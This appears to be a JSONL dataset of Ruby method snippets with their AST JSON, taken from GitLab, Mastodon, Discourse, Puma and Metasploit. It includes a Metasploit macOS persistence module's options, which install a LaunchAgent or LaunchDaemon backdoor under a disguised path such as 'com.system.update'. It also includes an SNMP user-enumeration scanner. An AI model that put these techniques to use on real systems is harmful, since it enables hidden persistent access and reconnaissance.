payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PYTHON\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"python\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Command payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-04-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"osx\"]},{\"type\":\"str\",\"children\":[\"python\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ATT&CK\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mitre\"]},\"Attack\"]},\"Technique\"]},\"T1647_PLIST_FILE_MODIFICATION\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]},{\"type\":\"const\",\"children\":[null,\"EVENT_DEPENDENT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]},{\"type\":\"const\",\"children\":[null,\"SCREEN_EFFECTS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"BACKDOOR_PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to hide the backdoor on the target.\"]},{\"type\":\"str\",\"children\":[\"~/Library/.<random>/com.system.update\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"KEEPALIVE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Continually restart the payload exe if it crashes/exits.\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"RUN_NOW\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Run the installed payload immediately.\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"LAUNCH_ITEM\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Type of launch item, see description for more info. Default is LaunchAgent\"]},{\"type\":\"str\",\"children\":[\"LaunchAgent\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LaunchAgent\"]},{\"type\":\"str\",\"children\":[\"LaunchDaemon\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]}]}","id":"b162638b-28af-468c-aa5a-bafabdfc0607"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/error_tracking/sentry_client/issue.rb","start_line":91,"raw_source":"def issue_url(id)\n        parse_sentry_url(\"#{url}/issues/#{id}\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_sentry_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url\"]}]},{\"type\":\"str\",\"children\":[\"/issues/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}","id":"dc617f33-0213-485c-9715-f5fb145e69dd"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20241216224514_validate_not_null_to_poll_account_column.rb","start_line":15,"raw_source":"def down\n    add_check_constraint :polls, 'account_id IS NOT NULL', name: 'polls_account_id_null', validate: false\n    change_column_null :polls, :account_id, true\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"sym\",\"children\":[\"polls\"]},{\"type\":\"str\",\"children\":[\"account_id IS NOT NULL\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"polls_account_id_null\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"change_column_null\",{\"type\":\"sym\",\"children\":[\"polls\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"9466ac2a-65c0-4ade-840c-89d87a581d99"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/workhorse.rb","start_line":233,"raw_source":"def send_scaled_image(location, width, content_type)\n        params = {\n          'Location' => location,\n          'Width' => width,\n          'ContentType' => content_type\n        }\n\n        [\n          SEND_DATA_HEADER,\n          \"send-scaled-img:#{encode(params)}\"\n        ]\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_scaled_image\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"location\"]},{\"type\":\"arg\",\"children\":[\"width\"]},{\"type\":\"arg\",\"children\":[\"content_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Location\"]},{\"type\":\"lvar\",\"children\":[\"location\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Width\"]},{\"type\":\"lvar\",\"children\":[\"width\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ContentType\"]},{\"type\":\"lvar\",\"children\":[\"content_type\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SEND_DATA_HEADER\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"send-scaled-img:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encode\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}]}","id":"c988fa9e-b4d2-4c8e-a4fe-02f2ab1ddfac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/analytics/cycle_analytics/issue_stage_event.rb","start_line":35,"raw_source":"def select_columns\n          [\n            *super,\n            issuable_model.arel_table[:weight],\n            issuable_model.arel_table[:sprint_id]\n          ]\n        end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"select_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable_model\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"weight\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable_model\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sprint_id\"]}]}]}]}","id":"574301af-de2d-4d39-b010-8ecbaafc5f69"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/ide_controller.rb","start_line":78,"raw_source":"def tracking_namespace_source\n    project.namespace\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tracking_namespace_source\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]}","id":"1de0d1d1-ef77-48f3-a406-15b9fe9543cd"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/select_kit.rb","start_line":12,"raw_source":"def component\n        if @context.is_a?(Capybara::Node::Element)\n          @context\n        else\n          find(@context)\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"component\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"Node\"]},\"Element\"]}]},{\"type\":\"ivar\",\"children\":[\"@context\"]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"ivar\",\"children\":[\"@context\"]}]}]}]}","id":"1347fff2-fe76-4348-b094-2333a3cd2bed"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/ssh/pubkey_verifier.rb","start_line":29,"raw_source":"def ssh_transport\n        Net::SSH::Transport::Session.new(host,options)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ssh_transport\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"SSH\"]},\"Transport\"]},\"Session\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"host\"]},{\"type\":\"send\",\"children\":[null,\"options\"]}]}]}","id":"4d7f8ced-d074-4a38-acd8-31135cf3554f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/lists/base_update_service.rb","start_line":21,"raw_source":"def error(message, pass_back = {})\n        ServiceResponse.error(message: message, http_status: :unprocessable_entity, payload: pass_back)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"optarg\",\"children\":[\"pass_back\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"pass_back\"]}]}]}]}]}","id":"cefe2de3-b093-47ce-bff2-86a2384e1c23"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/kind/cluster.rb","start_line":156,"raw_source":"def kind_config_file(config_yml)\n          self.class.kind_config_file_name.tap { |path| File.write(path, config_yml) }\n        end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"kind_config_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config_yml\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"kind_config_file_name\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"config_yml\"]}]}]}]}","id":"cca36a37-39a0-41c7-910b-89df51bbe44b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/daily_build_group_report_result.rb","start_line":29,"raw_source":"def upsert_reports(data)\n        upsert_all(data, unique_by: :index_daily_build_group_report_results_unique_columns) if data.any?\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"upsert_reports\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"upsert_all\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique_by\"]},{\"type\":\"sym\",\"children\":[\"index_daily_build_group_report_results_unique_columns\"]}]}]}]},null]}]}","id":"db52a5fb-4384-4fe1-979a-83eef5bca4a4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/snmp/snmp_enumusers.rb","start_line":29,"raw_source":"def run_host(ip)\n    peer = \"#{ip}:#{rport}\"\n    snmp = connect_snmp\n\n    sys_desc = snmp.get_value('sysDescr.0')\n    if sys_desc.blank? || sys_desc.to_s == 'Null'\n      vprint_error(\"#{peer} No sysDescr received\")\n      return\n    end\n    sys_desc = sys_desc.split(/[\\r\\n]/).join(' ')\n\n    sys_desc_map = {\n      /Windows/ => '1.3.6.1.4.1.77.1.2.25',\n      /Sun/ => '1.3.6.1.4.1.42.3.12.1.8'\n    }\n\n    matching_oids = sys_desc_map.select { |re, _| sys_desc =~ re }.values\n    if matching_oids.empty?\n      vprint_warning(\"#{peer} Skipping unsupported sysDescr: '#{sys_desc}'\")\n      return\n    end\n    users = []\n\n    matching_oids.each do |oid|\n      snmp.walk(oid) do |row|\n        row.each { |val| users << val.value.to_s }\n      end\n    end\n\n    unless users.empty?\n      users.sort!\n      users.uniq!\n      print_good(\"#{peer} Found #{users.size} users: #{users.join(', ')}\")\n    end\n\n    report_note(\n      host: rhost,\n      port: rport,\n      proto: 'udp',\n      sname: 'snmp',\n      update: :unique_data,\n      type: 'snmp.users',\n      data: { users: users }\n    )\n  rescue SNMP::ParseError\n    print_error(\"#{ip} Encountered an SNMP parsing error while trying to enumerate the host.\")\n  rescue ::SNMP::RequestTimeout\n    # too noisy for a scanner\n  rescue ::SNMP::UnsupportedVersion => e\n    vprint_error(e.message)\n  ensure\n    disconnect_snmp\n  end","complexity_score":65.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"snmp\",{\"type\":\"send\",\"children\":[null,\"connect_snmp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sys_desc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp\"]},\"get_value\",{\"type\":\"str\",\"children\":[\"sysDescr.0\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_desc\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_desc\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"Null\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]}]},{\"type\":\"str\",\"children\":[\" No sysDescr received\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sys_desc\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_desc\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[\\\\r\\\\n]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sys_desc_map\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"1.3.6.1.4.1.77.1.2.25\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Sun\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"1.3.6.1.4.1.42.3.12.1.8\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"matching_oids\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_desc_map\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"re\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_desc\"]},\"=~\",{\"type\":\"lvar\",\"children\":[\"re\"]}]}]},\"values\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matching_oids\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]}]},{\"type\":\"str\",\"children\":[\" Skipping unsupported sysDescr: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sys_desc\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matching_oids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"oid\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp\"]},\"walk\",{\"type\":\"lvar\",\"children\":[\"oid\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"value\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"empty?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"sort!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"uniq!\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]}]},{\"type\":\"str\",\"children\":[\" Found \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" users: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"udp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sname\"]},{\"type\":\"str\",\"children\":[\"snmp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"sym\",\"children\":[\"unique_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"snmp.users\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"lvar\",\"children\":[\"users\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SNMP\"]},\"ParseError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" Encountered an SNMP parsing error while trying to enumerate the host.\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SNMP\"]},\"RequestTimeout\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SNMP\"]},\"UnsupportedVersion\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect_snmp\"]}]}]}","id":"8bebb728-296c-408c-aedb-c994b76e16fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/base_items_list_service.rb","start_line":106,"raw_source":"def set_state\n      return if params[:all_lists]\n      return if list&.list_type == 'status'\n\n      params[:state] = list && list.closed? ? 'closed' : 'opened'\n    end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"all_lists\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"list\"]},\"list_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"status\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"list\"]},\"closed?\"]}]},{\"type\":\"str\",\"children\":[\"closed\"]},{\"type\":\"str\",\"children\":[\"opened\"]}]}]}]}]}","id":"8590e61b-f0db-4b70-8064-47fa7bc2eaaf"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_json_serialization.rb","start_line":10,"raw_source":"def test_json_generates_string_for_hash_with_string_keys\n    value = { \"key\" => \"value\" }\n    assert_puma_json_generates_string '{\"key\":\"value\"}', value\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_json_generates_string_for_hash_with_string_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_puma_json_generates_string\",{\"type\":\"str\",\"children\":[\"{\\\"key\\\":\\\"value\\\"}\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"7d64fc44-9b9e-41d0-b6c0-727b8f5bf256"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/adapter/fetch/smb.rb","start_line":22,"raw_source":"def cleanup_handler\n    if @fetch_service\n      cleanup_smb_fetch_service(@fetch_service)\n      @fetch_service = nil\n    end\n\n    super\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup_handler\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fetch_service\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cleanup_smb_fetch_service\",{\"type\":\"ivar\",\"children\":[\"@fetch_service\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@fetch_service\",{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"cdf56853-cdec-4b8a-85e9-7027864ae510"}
